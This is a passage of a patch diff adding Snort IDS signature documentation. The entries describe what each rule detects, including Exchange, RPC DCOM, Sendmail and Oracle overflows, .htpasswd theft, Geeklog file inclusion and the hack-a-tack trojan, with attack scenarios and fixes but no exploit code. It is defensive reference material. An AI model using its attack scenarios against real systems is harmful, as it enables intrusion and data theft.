+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2253.txt
+++ snort-2.8.5.2/doc/signatures/2253.txt
@@ -0,0 +1,73 @@
+Rule:  
+
+--
+Sid:
+2253
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Exchange Server.
+
+--
+Impact:
+Serious. Possible execution of arbitrary code and Denial of Service
+(DoS).
+
+--
+Detailed Information:
+A vulnerability exists in versions of Microsoft Exchange Server such
+that it is possible for an attacker to execute arbitrary code or cause a
+DoS condition on the server without the need for prior authentication as
+a valid user.
+
+It is possible for an attacker to connect to the Exchange server on port
+25 and send an extended verb request to the server that will cause a
+large amount of memory to be allocated. In Exchange Server 5.5 this may
+cause a DoS, whilst in Exchange Server 2000 this same condition could
+present the attacker with an opportunity to execute arbitrary code.
+
+--
+Affected Systems:
+	MIcrosoft Exchange Server 5.5
+	Microsoft Exchange Server 2000
+
+--
+Attack Scenarios:
+The attacker can connect to port 25 of the server and send a specially
+crafted verb request.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft Corp.
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-046.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0714
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3167.txt
+++ snort-2.8.5.2/doc/signatures/3167.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3167
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2540.txt
+++ snort-2.8.5.2/doc/signatures/2540.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2540
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/670.txt
+++ snort-2.8.5.2/doc/signatures/670.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+670
+
+--
+Summary:
+This event is generated when an external attacker attempts to use a specific exploit against Sendmail that allows the attacker to execute remote commands on the server, and to email files from the server to a remote email account.
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, possibly leading to remote root compromise, or at the very least, information disclosure. 
+
+--
+Detailed Information:
+Sendmail 8.6.9 and earlier contain a vulnerability related to the parsing of commands passed from ident to Sendmail. An attacker can use a specific exploit to send a message through the mail server. The message is not properly parsed and Sendmail forwards the response, with included commands, to its queue. The commands are then executed while the message awaits delivery in the Sendmail queue, causing the included arbitrary code to be executed on the server in the security context of Sendmail. The exploit in question allows the attacker to execute commands to email files from the server to a remote email account.
+
+--
+Affected Systems:
+Systems running unpatched versions of Sendmail 8.6.9 or earlier.
+
+--
+Attack Scenarios:
+An attacker sends an email generated by the exploit, and customizes it to mail the server's password file to a remote email account. The attacker then cracks the passwords in the password file and is able to access the server directly.
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Sendmail 8.6.10 or higher.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204
+
+Bugtraq
+http://www.securityfocus.com/bid/2311
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2879.txt
+++ snort-2.8.5.2/doc/signatures/2879.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2879
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure cancel_statistics
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2860.txt
+++ snort-2.8.5.2/doc/signatures/2860.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2860
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_date
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1071.txt
+++ snort-2.8.5.2/doc/signatures/1071.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+1071
+
+--
+Summary:
+This event is generated when an attempt is made to get a .htpasswd file from an HTTP server.
+
+--
+Impact:
+Serious. Although .htpasswd files cannot be accessed through the Apache HTTP service by default.
+
+--
+Detailed Information:
+The Apache HTTP server provides an authentication mechanism using .htaccess files and .htpasswd files.
+
+These files contain authentication information and encrypted passwords. However, older versions of Apache HTTPD for Windows systems the password might be stored in plaintext.
+
+In the default configuration, Apache HTTP server blocks any attempt to access .htaccess or .htpasswd files.
+
+--
+Attack Scenarios:
+The attacker could make a request to retrieve the .htpasswd file then use the information in it to launch a dictionary attack based on the usernames found.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+The .htpasswd file should be stored in a location outside the DocumentRoot for the webserver.
+
+The default configuration should include the following section to prevent access to .ht files:
+
+<Files ~ "^\.ht">
+    Order allow,deny
+    Deny from all
+</Files>
+
+Ensure the passwords stored in .htpasswd are encrypted.
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2601.txt
+++ snort-2.8.5.2/doc/signatures/2601.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2601
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_master_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck87.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2210.txt
+++ snort-2.8.5.2/doc/signatures/2210.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2210
+
+--
+Summary:
+This event is generated when an attempt is made to access global.cgi on an internal server. This may indicate an attempt to exploit an arbitrary command execution vulnerability in Global 3.55 on NetBSD.
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+Global is a source code tagging system for NetBSD. Versions 3.55 and earlier contain a vulnerability where commands sent to global.cgi are improperly parsed, allowing attackers to execute arbitrary code with the security context of the web server.
+
+--
+Affected Systems:
+Systems running Global 3.55 or lower on NetBSD.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to global.cgi on a vulnerable web server. The web server then attempts to execute the commands included in the URL.
+
+--
+Ease of Attack:
+Simple. Proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses global.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Global 4.01 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1854
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1000.txt
+++ snort-2.8.5.2/doc/signatures/1000.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1000
+
+--
+Summary:
+This event is generated when an attempt is made to access the bdir.htr file.
+
+--
+Impact:
+Information gathering.  This attack can disclose the directory structure on a vulnerable Internet Information Server(IIS).
+
+--
+Detailed Information:
+A vulnerability is exposed if an upgrade to IIS 4.0 is performed without deleting the remote administration scripts from IIS 3.0. Because of changes to the authentication methods between versions 3.0 and 4.0, these scripts can be accessed directly, and without authentication. An attacker can access one of these scripts, bdir.htr, to disclose the
+vulnerable server's directory structure.
+
+
+--
+Affected Systems:
+IIS 4.0 servers that are upgraded from IIS 3.0.
+
+--
+Attack Scenarios:
+An attacker can craft a URL to access the bdir.htr file, which can disclose the directory structures on the vulnerable server.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the bdir.htr file if it is not required.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2280
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/526.txt
+++ snort-2.8.5.2/doc/signatures/526.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid: 526
+
+--
+Summary:
+This event is generated when SYN packets contain data greater than what 
+is normally expected.
+
+--
+Impact:
+Possible Denial of Service attack (DoS) or IDS evasion.
+
+--
+Detailed Information:
+Under normal circumstances TCP SYN packets are exchanged between hosts 
+to synchronize the TCP sequence numbers in a transaction. A SYN packet 
+with a datagram size larger than 6 bytes may be an indication of a 
+Denial of Service attack or an attempt to evade IDS.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Any
+
+--
+Attack Scenarios:
+The attacker would need to send specially crafted packets with the SYN 
+flag set with a datagram size larger than 6 bytes. This may be achieved 
+using a script or tool.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/incident_notes/IN-99-07.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1304.txt
+++ snort-2.8.5.2/doc/signatures/1304.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1304
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2573.txt
+++ snort-2.8.5.2/doc/signatures/2573.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2573
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running a web application on Microsoft Internet 
+Information Server (IIS).
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running a web application on Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+The attacker may also be trying to gain administrator access to the 
+host, garner information on users of the system or retrieve sensitive 
+customer information.
+
+Some applications may store sensitive information such as database 
+connections, user information, passwords and customer information in 
+files accessible via a web interface. Care should be taken to ensure 
+these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3316.txt
+++ snort-2.8.5.2/doc/signatures/3316.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3316
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/141.txt
+++ snort-2.8.5.2/doc/signatures/141.txt
@@ -0,0 +1,94 @@
+Rule:
+
+--
+Sid:
+141
+
+--
+Summary:
+hack-a-tack is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files and reboot the targeted machine.
+
+--
+Detailed Information:
+The Trojan changes system registry settings to add the hack-a-tack server to programs normally started on boot. Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	141	HackAttack 1.20 Connect
+	614	hack-a-tack attempt
+
+This Trojan is commonly used to install other Trojan programs.
+
+The server portion opens TCP ports 31785 and 31787 and UDP ports 31789 and 31791 by default to establish a connection between client and server. The ports may then be configured by the attacker to use something other than these defaults.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Expl32.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Explorer32 ="<drive>:\windows\Expl32.exe"
+	Configuration Wizard = "<drive>:\windows=cfgwiz32.exe"
+
+Removal of this entry is required.
+
+Delete the file(s) <drive>:\WINDOWS\Expl32.exe and <drive>:\windows=cfgwiz32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS314
+http://www.whitehats.com/info/IDS504
+
+Hackfix.org
+http://www.hackfix.org/miscfix/hackatack.shtml
+
+Commodon Communications
+http://www.commodon.com/threat/threat-hack.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1932.txt
+++ snort-2.8.5.2/doc/signatures/1932.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1932
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2265.txt
+++ snort-2.8.5.2/doc/signatures/2265.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2265
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-07.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/952.txt
+++ snort-2.8.5.2/doc/signatures/952.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+952
+
+--
+
+Summary:
+This event is generated when an attempt is made to use a Frontpage 
+client to connect and/or publish content to a web server with Frontpage 
+Server Extensions-enabled. 
+
+--
+
+Impact:
+An attacker can modify web content, access privileged files or modify 
+other users' privileges on the Frontpage-enabled virtual host.
+
+--
+
+Detailed Information:
+Microsoft Frontpage is a web-content managing and publishing 
+application, which also comes with server extensions for Microsoft IIS 
+and Apache web servers. The extensions enable the servers to display 
+dynamic content, as well as perform certain levels of web-server 
+administration.
+
+--
+
+Affected Systems:
+All systems running FPSE.
+
+--
+
+Attack Scenarios:
+An attacker can gain the FPSE username and password via sniffing, social
+engineering or brute force guessing. After successfully logging on to 
+the system, the attacker can alter web contents, modify login 
+information for other users and generally control the web server.
+
+--
+
+Ease of Attack:
+After gaining the login credentials the attack is trivial. 
+
+--
+
+False Positives:
+If FrontPage authoring is allowed from resources external to the 
+protected network this rule will generate an event.
+
+--
+
+False Negatives:
+Not known.
+
+--
+
+Corrective Action:
+Disable FPSE if it is not needed for web-content management.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2144
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000732.txt
+++ snort-2.8.5.2/doc/signatures/100000732.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000732
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "EditIPofURL.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "EditIPofURL.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/654.txt
+++ snort-2.8.5.2/doc/signatures/654.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+654
+
+--
+Summary:
+When connecting to port 25 (SMTP) on a computer running a vunarable SMTP server it is possible to perform a DoS attack. In some cases it might be possible to perform a security breach as well.
+
+--
+Impact:
+Depending on the vunerable software you may need to restart the SMTP server or perform some level of incident response.
+
+--
+Detailed Information:
+Vulnerable systems:
+	Avirt Mail 4.0 (build 4124)
+	Avirt Mail 4.2 (build 4807)
+	PakMail SMTP/POP3
+	Netscape Messaging Server 3.54/3.55/3.6
+
